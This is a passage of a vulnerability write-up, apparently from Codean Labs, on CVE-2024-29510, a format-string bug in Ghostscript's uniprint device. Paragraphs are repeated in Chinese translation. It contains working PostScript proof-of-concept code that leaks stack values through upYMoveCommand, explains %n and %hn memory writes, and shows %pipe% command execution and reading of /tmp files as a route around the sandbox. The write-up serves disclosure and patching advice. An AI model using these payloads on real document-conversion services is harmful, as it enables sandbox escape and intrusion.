CVE-2024-29510 – Exploiting Ghostscript using format strings

CVE-2024-29510 – Exploiting Ghostscript using format strings

TL;DR  TL;博士

This is a write-up for CVE-2024-29510, a format string vulnerability in Ghostscript ≤ 10.03.0. We show how this can be exploited to bypass the -dSAFER sandbox and gain code execution.
本文针对 CVE-2024-29510(Ghostscript ≤ 10.03.0 中的格式字符串漏洞)进行了报道。我们将展示如何利用它来绕过 -dSAFER 沙盒并获得代码执行。

This vulnerability has significant impact on web-applications and other services offering document conversion and preview functionalities as these often use Ghostscript under the hood. We recommend verifying whether your solution (indirectly) makes use of Ghostscript and if so, update it to the latest version.
此漏洞对提供文档转换和预览功能的 Web 应用程序和其他服务有重大影响,因为这些应用程序和其他服务经常在后台使用 Ghostscript。我们建议您验证您的解决方案是否(间接)使用了 Ghostscript,如果是,请将其更新到最新版本。

This is part one of a three-part series on Ghostscript vulnerabilities found by Codean Labs. Stay tuned for parts two and three.
这是关于 Codean Labs 发现的 Ghostscript 漏洞的三部分系列的第一部分。请继续关注第二部分和第三部分。

Introduction  介绍

Ghostscript, first released in 1988 (!), is a Postscript interpreter and a general document conversion toolkit. While originally being a relatively obscure UNIX tool used for talking to printers, it has nowadays found common usage in automated systems where it is used to process user-supplied files.
Ghostscript 于 1988 年首次发布 (!),是一个 Postscript 解释器和一个通用的文档转换工具包。虽然它最初是一个相对晦涩难懂的用于与打印机通信的 UNIX 工具,但如今它已在自动化系统中普遍使用,用于处理用户提供的文件。

Specifically, many web applications which handle and convert images or documents will at some point call into Ghostscript. Often indirectly via tools like ImageMagick and LibreOffice. Think of the attachment preview images you see in chat programs and cloud storage applications; in the conversion and rendering logic behind those, there is often an invocation of Ghostscript!
具体来说,许多处理和转换图像或文档的 Web 应用程序会在某个时候调用 Ghostscript。通常通过 ImageMagick 和 LibreOffice 等工具间接实现。想想您在聊天程序和云存储应用程序中看到的附件预览图像;在这些背后的转换和渲染逻辑中,经常会调用 Ghostscript!

The increase of these automated conversion workflows has pushed Ghostscript developers to implement various sandboxing functionalities and to harden them over time. In recent versions, the -dSAFER sandbox is enabled by default, and blocks or limits all kinds of dangerous operations such as file I/O and command execution which would normally be possible in Postscript.
这些自动转换工作流程的增加促使 Ghostscript 开发人员实现各种沙盒功能,并随着时间的推移对其进行强化。在最近的版本中, -dSAFER 沙盒默认处于启用状态,并阻止或限制各种危险操作,例如文件 I/O 和命令执行,这些操作通常在 Postscript 中是可能的。

From a security perspective this is of course very interesting. We have a wide attack surface (user-supplied input files and lots of functionality to explore) and a clear goal (escaping the sandbox, leading to Remote Code Execution (RCE)).
从安全角度来看,这当然非常有趣。我们有一个广泛的攻击面(用户提供的输入文件和许多可供探索的功能)和一个明确的目标(逃离沙盒,导致远程代码执行 (RCE))。

It is good to remember that Postscript is a well-featured Turing-complete programming language. A bit like TeX, but arguably more general-purpose. Its support for file I/O for example enables one to write document-related conversion and extraction tools in Postscript. From that point-of-view, the ability to execute commands using a pipe (by prefixing a file-open path with | or %pipe%) is just as normal as it is in Perl or Bash.
值得一提的是,Postscript是一种功能齐全的图灵完备编程语言。有点像 TeX,但可以说是更通用的。例如,它对文件 I/O 的支持使人们能够在 Postscript 中编写与文档相关的转换和提取工具。从这个角度来看,使用管道执行命令的能力(通过在文件打开路径前面加上 | or %pipe% )与在 Perl 或 Bash 中一样正常。

All of this puts Ghostscript in an odd place where it wants to allow all these legacy use-cases, but it is also commonly being used as a conversion tool on untrusted files, which are often treated more as static graphic descriptions rather than as programs.
所有这些都使 Ghostscript 处于一个奇怪的地方,它希望允许所有这些遗留用例,但它也通常被用作不受信任文件的转换工具,这些文件通常更多地被视为静态图形描述而不是程序。

Playing in the sandbox
在沙盒中玩

The -dSAFER sandbox mainly revolves around restricting I/O operations. When enabled, it disallows the %pipe% functionality that would otherwise allow for command execution (e.g., by opening the file %pipe%uname -a), and it restricts file access to a whitelisted set of paths. In a default install, this list includes some Ghostscript-internal paths for things like fonts, and the /tmp/ directory (at least on Linux).
沙 -dSAFER 盒主要围绕限制 I/O 操作展开。启用后,它不允许 %pipe% 执行命令的功能(例如,通过打开文件 %pipe%uname -a ),并将文件访问限制为列入白名单的路径集。在默认安装中,此列表包括一些 Ghostscript 内部路径,例如字体和 /tmp/ 目录(至少在 Linux 上)。

Postscript is a stack-based language, which makes it a bit hard to read if you’re not used to it. The code of a Postscript program is in essense a big list of things which are pushed one-by-one on the execution stack. When an operator is encountered, one or more elements of this stack may be consumed, and one or more new ones may be pushed. This is analogous to calculators with reverse-Polish-notation, for example:
Postscript 是一种基于堆栈的语言,如果您不习惯它,它会有点难以阅读。从某种意义上说,Postscript 程序的代码是一大堆在执行堆栈上逐一推送的东西。当遇到运算符时,可能会消耗此堆栈的一个或多个元素,并且可能会推送一个或多个新元素。这类似于具有反向波兰符号的计算器,例如:

3 4 add =       % prints "7"
3 4 mul 2 add = % prints "14"

More complicated logic requires some stack “juggling”: operators like popdup and exch copy and move things around on the stack.
更复杂的逻辑需要一些堆栈“杂耍”:像 这样的 pop 运算符, dup 并在 exch 堆栈上复制和移动东西。

Postscript has standard types like booleans and numbers, but also strings ((foobar)) (note the parentheses as opposed to quotes), lists ([ 1 2 3 ]), dicts (<< /Key (value) /Foo (bar) /Baz 42 >>) and procedures ({ (Hello world!) = }). Those slash-prefixed dictionary keys are names. They can also be defined on the global scope (that’s also a dictionary!) using def. You can then dereference them without the slash:
Postscript 有标准类型,如布尔值和数字,但也有字符串 ( (foobar) ) (注意括号而不是引号)、列表 ( [ 1 2 3 ] )、字典 ( << /Key (value) /Foo (bar) /Baz 42 >> ) 和过程 ( { (Hello world!) = } )。那些以斜杠为前缀的字典键是名称。它们也可以在全局范围内定义 def (这也是一个字典!然后,您可以在不使用斜杠的情况下取消引用它们:

/MyVariable (Hello world!) def
MyVariable = % prints "Hello world!"

Names can also refer to procedures. In this article we’ll mostly use CamelCase for variables and snake_case for user-defined procedures.
名称也可以指过程。在本文中,我们将主要用于 CamelCase 变量和 snake_case 用户定义的过程。

The fact that /tmp/ is fully accessible is quite interesting, as it means that even in a sandboxed environment, a Postscript program can list, read and write anything under /tmp/:
完全可访问的事实 /tmp/ 非常有趣,因为这意味着即使在沙盒环境中,Postscript 程序也可以列出、读取和写入以下 /tmp/ 任何内容:

% List all files under /tmp/
(/tmp/*) { = } 1024 string filenameforall

% Read and print contents of /tmp/foobar
(/tmp/foobar) (r) file 1024 string readstring pop =

% Write to a (new) file
(/tmp/newfile) (w) file dup (Hello world!) writestring closefile

In certain integrated usages of Ghostscript this could already be dangerous, as temporary sensitive data or configurations could be stored in /tmp/. Or other people’s uploaded content could be present there.
在 Ghostscript 的某些集成用法中,这已经很危险了,因为临时敏感数据或配置可以存储在 /tmp/ .或者其他人上传的内容可能在那里。

The ability to read and write files becomes even more interesting from an attacker’s perspective when combined with the ability to change the output device and its settings. The non-sandboxed setpagedevice operator receives a dictionary with device parameters, including the device name itself. These are equivalent to the fields you’d often specify on the command-line, including the output filepath. It’s therefore possible to render a page with an arbitrary device and read back the generated output file, all from within the same execution, independent of the originally set device parameters.
从攻击者的角度来看,读取和写入文件的能力与更改输出设备及其设置的能力相结合时变得更加有趣。非沙盒 setpagedevice 操作员会收到一个包含设备参数的字典,包括设备名称本身。这些字段等同于您经常在命令行上指定的字段,包括输出文件路径。因此,可以使用任意设备渲染页面并读回生成的输出文件,所有这些都来自同一执行,与最初设置的设备参数无关。

% simple_stroke.ps

% Change the current output file and page device (e.g., pdfwrite)
<<
	/OutputFile (/tmp/foobar)
	/OutputDevice /pdfwrite
>> 
setpagedevice

% Some minimal graphical content (a single diagonal stroke)
newpath
100 600 moveto
200 400 lineto
5 setlinewidth
stroke

% Produce a page
showpage

% Read back the contents of the output file
(/tmp/foobar) (r) file 8000 string readstring pop
print

After showpage is invoked, the device has written out the data corresponding to the content of the page. Hence, we can immediately read this back, in this case printing it to stdout using print:
调用showpage后,设备已经写出了页面内容对应的数据。因此,我们可以立即将其读回,在这种情况下,使用 print 将其打印到 stdout:

$ ghostscript -q -dSAFER -dBATCH -dNODISPLAY simple_stroke.ps
%PDF-1.7
%
%%Invocation: ghostscript -q -dSAFER -dBATCH -dNODISPLAY ?
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x+T03T0A(˥d^ejPeeeh```"r@

e

The partial binary PDF stream at the end encodes the line we’ve drawn. If we let the program finish, Ghostscript will close the page device which nicely wraps up the output file /tmp/foobar, in this case a valid PDF with an xref table and everything:
末尾的部分二进制 PDF 流对我们绘制的线进行编码。如果我们让程序完成,Ghostscript 将关闭页面设备,该设备很好地包装了输出文件 /tmp/foobar ,在这种情况下,一个带有外部参照表和所有内容的有效 PDF:

CVE-2024-29510 – Exploiting Ghostscript using format strings

The file “foobar.pdf” as rendered by a PDF reader.
PDF 阅读器呈现的文件“foobar.pdf”。

Too universal  太普遍了

Ghostscript implements dozens of different output devices, as listed in its --help output. A device is just some logic that produces output data. This ranges from x11alpha which shows a window (on Linux) to e.g. jpegcmyk which produces a JPEG file. Similarly, several document types are supported (e.g., XPS, EPS, PDF), but also many variants of printer command languages (e.g., PJL, PCL, epson, deskjet). Devices can be configured and selected (usually with -sDEVICE= on the command-line, but also via setpagedevice from within Postscript as we saw before). Configurable parameters vary by device, but standard ones include the output file, the page format, margins, color profiles, etc.
Ghostscript 实现了数十种不同的输出设备,如其 --help 输出中所列。设备只是生成输出数据的某种逻辑。范围从 x11alpha 显示窗口(在 Linux 上)到生成 JPEG 文件。 jpegcmyk 同样,支持多种文档类型(例如,XPS、EPS、PDF),但也支持打印机命令语言的许多变体(例如,PJL、PCL、epson、deskjet)。可以配置和选择设备(通常在命令行上使用 -sDEVICE= ,但也 setpagedevice 可以通过 Postscript 中配置和选择设备,正如我们之前看到的)。可配置参数因设备而异,但标准参数包括输出文件、页面格式、页边距、颜色配置文件等。

Ghostscript is very configurable via the command-line. With the -d and -s prefixes it is possible to set booleans and named fields which are used by the startup logic to configure the device. Some common usecases include:
Ghostscript 可以通过命令行进行配置。使用 -d 和 -s 前缀,可以设置启动逻辑用于配置设备的布尔值和命名字段。一些常见的用例包括:

# Read a file from stdin, and output it as PNG to stdout
# (e.g., how LibreOffice invokes Ghostscript to render embedded EPS files)
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=pngalpha -sOutputFile=- -

# Extract pages 3-5 from in.pdf into out.pdf
ghostscript -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf -dFirstPage=3 -dLastPage=5 -sDEVICE=pdfwrite in.pdf

# Determine the bounding box of an EPS file
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=bbox -sOutputFile=- img.eps

One interesting device is uniprint, the “universal printer device”. It is particularly versatile as it can be used to generate command data for different brands and models of printers, just by changing the device’s configuration parameters. Ghostscript ships with a set of .upp files which are just Ghostscript command-lines (notice -dSAFER and -sDEVICE=uniprint for example) with pre-filled parameters for specific printers, e.g. cdj550.upp:
一个有趣的设备是 uniprint “通用打印机设备”。它特别通用,因为它可用于为不同品牌和型号的打印机生成命令数据,只需更改设备的配置参数即可。Ghostscript 附带了一组 .upp 文件,这些文件只是 Ghostscript 命令行(例如,注意 -dSAFER 和 -sDEVICE=uniprint ),其中包含特定打印机的预填充参数 cdj550.upp ,例如:

-supModel="HP Deskjet 550c, 300x300DpI, Gamma=2"
-sDEVICE=uniprint
-dNOPAUSE
-P- -dSAFER
-dupColorModel=/DeviceCMYK
-dupRendering=/ErrorDiffusion
-dupOutputFormat=/Pcl
-r300x300
-dupMargins="{ 12.0 36.0 12.0 12.0}"
-dupBlackTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
     0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
     0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupCyanTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
     0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
     0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupMagentaTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
     0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
     0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupYellowTransfer="{
     0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510 
     0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
     0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
     0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupBeginPageCommand="<
   1b2a726243
   1b2a7433303052
   1b266c33616f6c45
   1b2a6f31643251
   1b2a703059
   1b2a72732d34753041
   1b2a62326d
>"
-dupAdjustPageWidthCommand
-dupEndPageCommand="(0M\033*rbC\033E\033&l0H)"
-dupAbortCommand="(0M\033*rbC\033E\15\12\12\12\12    Printout-Aborted\15\033&l0H)"
-dupYMoveCommand="(%dy\0)"
-dupWriteComponentCommands="{ (%dv\0) (%dv\0) (%dv\0) (%dw\0) }"

If you look carefully at the last couple of parameters, you’ll notice that upYMoveCommand and upWriteComponentCommands contain format-string specifiers. Specifically, %d is used to incorporate an integer parameter at a chosen position. Presumably this is needed for versatility across the different printer dialects.
如果你仔细查看最后几个参数,你会注意到这一点 upYMoveCommand ,并 upWriteComponentCommands 包含格式字符串说明符。具体来说, %d 用于在选定位置合并整数参数。据推测,这对于跨不同打印机方言的多功能性是必需的。

Looking at the codebase confirms that these parameters are indeed used as format strings as-is, but only in case of the \Pcl output format (uniprint supports several types of output formats). In case of upOutputFormat == \Pcl, the function upd_wrtrtl is used for rendering. Inside that function, the contents of upYMoveCommand (copied to upd->strings[S_YMOVE] during device initialization) is used as a format string for the function gs_snprintf, with a calculated “Y position” being passed as a variadic argument:
查看代码库可以确认这些参数确实按原样用作格式字符串,但仅限于 \Pcl 输出格式(uniprint 支持多种类型的输出格式)。在 upOutputFormat == \Pcl 的情况下,该函数 upd_wrtrtl 用于渲染。在该函数中,( upYMoveCommand 在设备初始化期间复制到 upd->strings[S_YMOVE] )的内容用作函数 gs_snprintf 的格式字符串,计算出的“Y 位置”作为可变参数传递:

      /*
       *    Adjust the Printers Y-Position
       */
      if(upd->yscan != upd->yprinter) { /* Adjust Y-Position */
         if(1 < upd->strings[S_YMOVE].size) {
           gs_snprintf((char *)upd->outbuf+ioutbuf, upd->noutbuf-ioutbuf,
             (const char *) upd->strings[S_YMOVE].data,
             upd->yscan - upd->yprinter);
           ioutbuf += strlen((char *)upd->outbuf+ioutbuf);
         } else {
		       <snip>
	       }
       }

 
If you’re familiar with format string exploits you’ll now what comes next!
如果您熟悉格式字符串漏洞利用,那么您现在将了解接下来的内容!

A proof of concept
概念验证

As these parameters are just regular device parameters, we can use setpagedevice to change the device to uniprint, just like we did with pdfwrite before. It is then simple to pass arbitrary values for the various upXXXX parameters, just by setting them in the dictionary passed to setpagedevice.
由于这些参数只是常规设备参数,因此我们可以像 pdfwrite 之前一样将 setpagedevice 设备更改为 uniprint 。然后,只需在传递给 的 setpagedevice 字典中设置它们即可,即可轻松传递各种 upXXXX 参数的任意值。

As for the two parameters with format strings, it appears that upYMoveCommand is nicest to play with as it is just a single string which is formatted only once if you render a simple page. It looks like this command is used to tell a printer to move the print head to a specific Y position before printing whatever follows. But for this attack it doesn’t really matter what the intended purpose is.
至于带有格式字符串的两个参数,它似乎是 upYMoveCommand 最好的,因为它只是一个字符串,如果您呈现一个简单的页面,它只会格式化一次。看起来此命令用于告诉打印机在打印以下任何内容之前将打印头移动到特定的 Y 位置。但是对于这种攻击,预期目的是什么并不重要。

So, let’s try with a simple proof of concept. We take our previous PDF example where we write to /tmp/foobar and read it back, but replace the setpagedevice invocation with the following:
因此,让我们尝试一个简单的概念证明。我们以之前的 PDF 示例为例,在该示例中,我们写入 /tmp/foobar 并读回它,但将调用替换 setpagedevice 为以下内容:

% Change the page device to `uniprint`, setting its output file and other params
<<
	/OutputFile (/tmp/foobar)
	/OutputDevice /uniprint

	% Required uniprint parameters to reach the `upd_wrtrtl(...)` variant
	/upColorModel /DeviceCMYKgenerate
	/upRendering /FSCMYK32
	/upOutputFormat /Pcl
	
	% Set our testing payload
	/upYMoveCommand (1:%x\n2:%x\n3:%x\n4:%x\n5:%x\n6:%x\n7:%x\n8:%x\n)

	% Set some of the other string parameters
	/upBeginJobCommand (Hello job!\n)
	/upBeginPageCommand (Hello page!\n)

	% empty strings to reduce spam
	/upWriteComponentCommands {(\0) (\0) (\0) (\0)} 
>> 
setpagedevice

This gives us a string like this from the output (which was read back from /tmp/foobar):
这给了我们一个这样的字符串,从输出中(从中读回 /tmp/foobar ):

Hello job!
Hello page!
1:be
2:be
3:5fd58000
4:5fd580f0
5:5fc36460
6:fffffff0
7:e48f1300
8:60005718
A?????????????????????????

In between other uniprint output (most of which is actually non-ascii data representing the stroke we drew) we find our formatted string, including the values of the first 8 words on the stack! Basically, the implementation of gs_snprintf blindly reads a “parameter” from the stack for every given format specifier, assuming these were passed as variadic arguments. But because in this case these parameters were not actually supplied (only one integer is given), it reads from locations further down the stack.
在其他 uniprint 输出(其中大部分实际上是代表我们绘制的笔画的非 ASCII 数据)之间,我们找到了格式化的字符串,包括堆栈上前 8 个单词的值!基本上,对于每个给定的格式说明符,盲目地 gs_snprintf 从堆栈中读取一个“参数”,假设这些参数作为可变参数传递。但是,由于在这种情况下,这些参数实际上并未提供(仅给出一个整数),因此它从堆栈的更下方的位置读取。

Using this technique, we can read the contents of the stack at arbitrary offsets from the current stack pointer, all the way down to the contents of argv and envp (pushed before main is called). This by itself is already useful, as it leaks environment variables and various pointers that could be useful for bypassing ASLR in other exploits. On systems where it is enabled, this also leaks the stack cookie value which can be useful for exploiting stack buffer overflows.
使用这种技术,我们可以从当前堆栈指针以任意偏移量读取堆栈的内容,一直到 argv 和 envp (push before main 称为)的内容。这本身就已经很有用了,因为它泄漏了环境变量和各种指针,这些指针可能有助于在其他漏洞中绕过 ASLR。在启用了它的系统上,这也会泄漏堆栈 cookie 值,这对于利用堆栈缓冲区溢出很有用。

However, we can do more than just print stack values. If we can somehow control a pointer somewhere on the stack, we can use %s to dereference it. While %s stops reading at null-bytes, this is not a problem: if we know we want to read N bytes, we can use %.Ns (e.g., %.8s). If we then get back less than N characters (say M), then we know that a null-byte must have followed and we recurse by reading (N – M – 1) bytes from (address + M + 1), until all bytes are read. With N=8, this technique can be used to extract a full pointer stored at a specified address, even if it happens to contain a null-byte.
但是,我们可以做的不仅仅是打印堆栈值。如果我们能以某种方式控制堆栈上某个位置的指针,我们就可以用它来 %s 取消引用它。虽然 %s 停止读取 null 字节,但这不是问题:如果我们知道要读取 N 个字节,则可以使用 %.Ns (例如 %.8s )。如果我们返回的字符少于 N 个字符(比如 M),那么我们知道后面一定有一个空字节,我们通过从 (address + M + 1) 读取 (N – M – 1) 字节来递归,直到读取所有字节。当 N=8 时,此技术可用于提取存储在指定地址的完整指针,即使它恰好包含空字节。

Similarly — and this is usually the crux of format string attacks — if we can control a value on the stack, we can instead use %n to write to it. This is a relatively obscure and unique specifier which writes the number of characters printed up to that point, to a given pointer argument. A simple example with printf:
类似地,这通常是格式字符串攻击的关键,如果我们可以控制堆栈上的一个值,我们就可以用它来 %n 写入它。这是一个相对晦涩且唯一的说明符,它将打印到该点的字符数写入给定的指针参数。一个简单的例子 printf :

int n;
printf("Hello%n world!", &n);
// n == 5;

In our scenario there are limitations on the length of the format string, hence we can’t write arbitrarily high values with this (we would need to supply a very long string for high values). We can however use %hn to write an arbitrary 2-byte short to a memory address on the stack, just by putting up to 2^16 bytes of padding data in the format string.
在我们的场景中,格式字符串的长度有限制,因此我们不能用它写入任意高的值(我们需要为高值提供一个非常长的字符串)。然而,我们可以用来 %hn 将任意 2 字节短行写入堆栈上的内存地址,只需在格式字符串中放置最多 2^16 字节的填充数据即可。

Fun fact: gs_snprintf invokes apr_vformatter, which is a custom printf-style formatter that ships with Ghostscript. This means that the libc-provided formatter (regular snprintf) is not used in this case, which is beneficial for our attack as that one is often compiled with countermeasures against format string attacks!
有趣的事实: gs_snprintf invokes apr_vformatter ,这是 Ghostscript 附带的自定义 printf 样式格式化程序。这意味着在这种情况下不使用 libc 提供的格式化程序(常规 snprintf ),这对我们的攻击是有益的,因为该格式化程序通常是用针对格式字符串攻击的对策编译的!

Arbitrary read/write?  任意读/写?

So we can read from and write to pointers that happen to be on the stack, but what about an arbitrary read/write? In textbook format string attacks the format string itself is often located on the stack, providing an easy to control buffer to put an address in:
因此,我们可以读取和写入恰好在堆栈上的指针,但是任意读/写呢?在教科书格式字符串攻击中,格式字符串本身通常位于堆栈上,提供了一个易于控制的缓冲区来放置地址:

/* fmt.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char fmt[256];
    strncpy(fmt, argv[1], sizeof(fmt));
    printf(fmt);
}
$ ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx'
AAAAAAAA_7fff98ccd540,7fff98ccca50,d,0,7c7a77bd2180,7fff98cccbf8,20,4141414141414141,786c252c786c255f

Notice the literal 4141414141414141 on the stack, coming from the start of the format string ("AAAAAAAA"). By replacing the corresponding %lx with %n the program will try to write a value to that address:
请注意堆栈 4141414141414141 上的文字,它来自格式字符串 ( "AAAAAAAA" ) 的开头。通过将相应的替换为 %n 程序将尝试将值 %lx 写入该地址:

$ valgrind ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%n,%lx'
...
==671567== Invalid write of size 4
==671567==    at 0x48E2BA1: __printf_buffer (vfprintf-process-arg.c:348)
==671567==    by 0x48E36E0: __vfprintf_internal (vfprintf-internal.c:1523)
==671567==    by 0x48D886E: printf (printf.c:33)
==671567==    by 0x1091EC: main (in fmt)
==671567==  Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
...

In our case it is sadly not this simple. Our format string is located on the heap, hence we need to find a different value on the stack which we have full control over.
在我们的案例中,可悲的是,事情并非如此简单。我们的格式字符串位于堆上,因此我们需要在堆栈上找到一个我们可以完全控制的不同值。

What values does the stack consist of? Well, it always contains the parameters and local variables of each function in the call-stack. Here is the call-stack at the invocation of gs_snprintf:
堆栈由哪些值组成?好吧,它始终包含调用堆栈中每个函数的参数和局部变量。以下是调用时的 gs_snprintf 调用堆栈:

#0   upd_wrtrtl (upd=0x55555829c610, out=0x55555827fe50) at ./devices/gdevupd.c:6992
#1   upd_print_page (pdev=0x555558550068, out=0x55555827fe50) at ./devices/gdevupd.c:1161
#2   gx_default_print_page_copies (pdev=0x555558550068, prn_stream=0x55555827fe50, num_copies=0x1) at ./base/gdevprn.c:1160
#3   gdev_prn_output_page_aux (pdev=0x555558550068, num_copies=0x1, flush=0x1, seekable=0x0, bg_print_ok=0x0) at ./base/gdevprn.c:1062
#4   gdev_prn_output_page (pdev=0x555558550068, num_copies=0x1, flush=0x1) at ./base/gdevprn.c:1098
#5   default_subclass_output_page (dev=0x5555583c42e8, num_copies=0x1, flush=0x1) at ./base/gdevsclass.c:136
#6   gs_output_page (pgs=0x555558198490, num_copies=0x1, flush=0x1) at ./base/gsdevice.c:207
#7   zoutputpage (i_ctx_p=0x5555581981a8) at ./psi/zdevice.c:502
#8   do_call_operator (op_proc=0x55555646e9e8 <zoutputpage>, i_ctx_p=0x5555581981a8) at ./psi/interp.c:91
#9   interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd170, perror_object=0x7fffffffd4e0) at ./psi/interp.c:1375
#10  gs_call_interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:531
#11  gs_interpret (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:488
#12  gs_main_interpret (minst=0x5555581649b0, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:257
#13  gs_main_run_string_end (minst=0x5555581649b0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:945
#14  gs_main_run_string_with_length (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", length=0x18, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:889
#15  gs_main_run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:870
#16  run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", options=0x3, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imainarg.c:1169
#17  runarg (minst=0x5555581649b0, pre=0x555557000263 "", arg=0x7fffffffd658 "ptrs.ps", post=0x555557000914 ".runfile", options=0x3, user_errors=0x1, pexit_code=0x0, perror_object=0x0) at ./psi/imainarg.c:1128
#18  argproc (minst=0x5555581649b0, arg=0x7fffffffd658 "ptrs.ps") at ./psi/imainarg.c:1050
#19  gs_main_init_with_args01 (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:242
#20  gs_main_init_with_args (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:289
#21  psapi_init_with_args (ctx=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/psapi.c:281
#22  gsapi_init_with_args (instance=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/iapi.c:253
#23  main (argc=0x4, argv=0x7fffffffe228) at ./psi/gs.c:95

As you can see, most of the parameter values in this call-stack are pointers, and the few non-pointer values in there are not easily or fully controllable from within Postscript. Sadly, it seems that the same applies for these functions’ local variables: none of them gives us 8 easily controllable sequential bytes.
正如你所看到的,这个调用堆栈中的大多数参数值都是指针,其中的几个非指针值在 Postscript 中不容易或完全无法控制。可悲的是,这似乎也适用于这些函数的局部变量:它们都没有给我们 8 个易于控制的顺序字节。

A ghostly stack buffer
幽灵般的堆栈缓冲区

Luckily, we are not actually limited to the functions of the current call-stack. The stack’s address space is a living region which constantly gets overwritten as the stack grows, shrinks, and grows again. Some function parameters or locals may be uninitialized buffers or padded structs, meaning that they leave previous stack contents in place. Hence, we’re also looking for locals and parameters of functions that at some point happened to be in our accessible region of the stack and have not been overwritten since.
幸运的是,我们实际上并不局限于当前调用堆栈的功能。堆栈的地址空间是一个活动区域,随着堆栈的增长、收缩和再次增长,该区域会不断被覆盖。某些函数参数或局部变量可能是未初始化的缓冲区或填充结构,这意味着它们会保留以前的堆栈内容。因此,我们也在寻找函数的局部变量和参数,这些函数在某个时候恰好位于堆栈的可访问区域中,并且此后没有被覆盖。

One such variable is the sstate variable in gs_scan_token(...). This function is invoked as part of the Ghostscript interpreter loop, seemingly when a new token needs to be processed (Postscript is an interpreted language). When this function encounters a percent-sign, it goes into some logic which saves the comment text that follows, just in case it turns out to be a special comment which needs to be processed further.
其中一个变量是 中的 sstate gs_scan_token(...) 变量。此函数作为 Ghostscript 解释器循环的一部分被调用,似乎是在需要处理新令牌时(Postscript 是一种解释型语言)。当此函数遇到百分号时,它会进入某种逻辑,以保存后面的注释文本,以防万一它被证明是需要进一步处理的特殊注释。

Special comments are those that start with %% or %!. These are for example used in EPS file headers to convey metadata:
特殊注释是那些以 %% 或 %! 开头的注释。例如,这些在 EPS 文件头中用于传达元数据:

%!PS-Adobe-3.0 EPSF-3.0
%%Document-Fonts: Times-Roman
%%Title: hello.eps
%%Creator: Someone
%%CreationDate: 01-Jan-70
%%Pages: 1
%%BoundingBox:   36   36  576  756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
...

Notably, when the comment is the final token in the input stream, the full comment string is memcpy‘d into sstate.s_da.buf, which is a stack-allocated buffer:
值得注意的是,当注释是输入流中的最终标记时,完整的注释字符串将 memcpy ‘d 放入 sstate.s_da.buf ,这是一个堆栈分配的缓冲区:

      case '%':
      {                   /* Scan as much as possible within the buffer. */
          const byte *base = sptr;
          const byte *end;

          while (++sptr < endptr)         /* stop 1 char early */
              switch (*sptr) {
                  case char_CR:
                      end = sptr;
                      if (sptr[1] == char_EOL)
                          sptr++;
                    cend: /* Check for externally processed comments. */
                      retcode = scan_comment(i_ctx_p, myref, &sstate,
                                             base, end, false);
                      if (retcode != 0)
                          goto comment;
                      goto top;
                  case char_EOL:
                  case '\f':
                      end = sptr;
                      goto cend;
              }
          /*
           * We got to the end of the buffer while inside a comment.
           * If there is a possibility that we must pass the comment
           * to an external procedure, move what we have collected
           * so far into a private buffer now.
           */
          --sptr;
          sstate.s_da.buf[1] = 0;
          {
              /* Could be an externally processable comment. */
              uint len = sptr + 1 - base;
              if (len > sizeof(sstate.s_da.buf))
                  len = sizeof(sstate.s_da.buf);

              memcpy(sstate.s_da.buf, base, len);
              daptr = sstate.s_da.buf + len;
          }
          sstate.s_da.base = sstate.s_da.buf;
          sstate.s_da.is_dynamic = false;
      }

